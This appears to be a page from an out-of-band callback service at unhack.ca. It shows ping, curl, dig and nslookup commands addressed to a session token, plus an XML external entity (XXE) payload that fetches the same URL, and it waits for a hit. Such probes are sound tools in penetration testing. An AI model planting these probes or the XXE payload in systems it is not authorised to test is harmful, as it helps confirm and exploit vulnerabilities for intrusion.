$ ping -c1 -p 0095c174bcc4e4ec8fb09c6ed1727200 unhack.ca
 
$ curl http://unhack.ca/p/95c174bcc4e4ec8fb09c6ed17272
 
$ dig 95c174bcc4e4ec8fb09c6ed17272 @unhack.ca
 
$ dig 95c174bcc4e4ec8fb09c6ed17272.ns.unhack.ca
 
C:\> nslookup 95c174bcc4e4ec8fb09c6ed17272 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/95c174bcc4e4ec8fb09c6ed17272">]>
    <foo>&xxe;</foo>
Waiting for ping...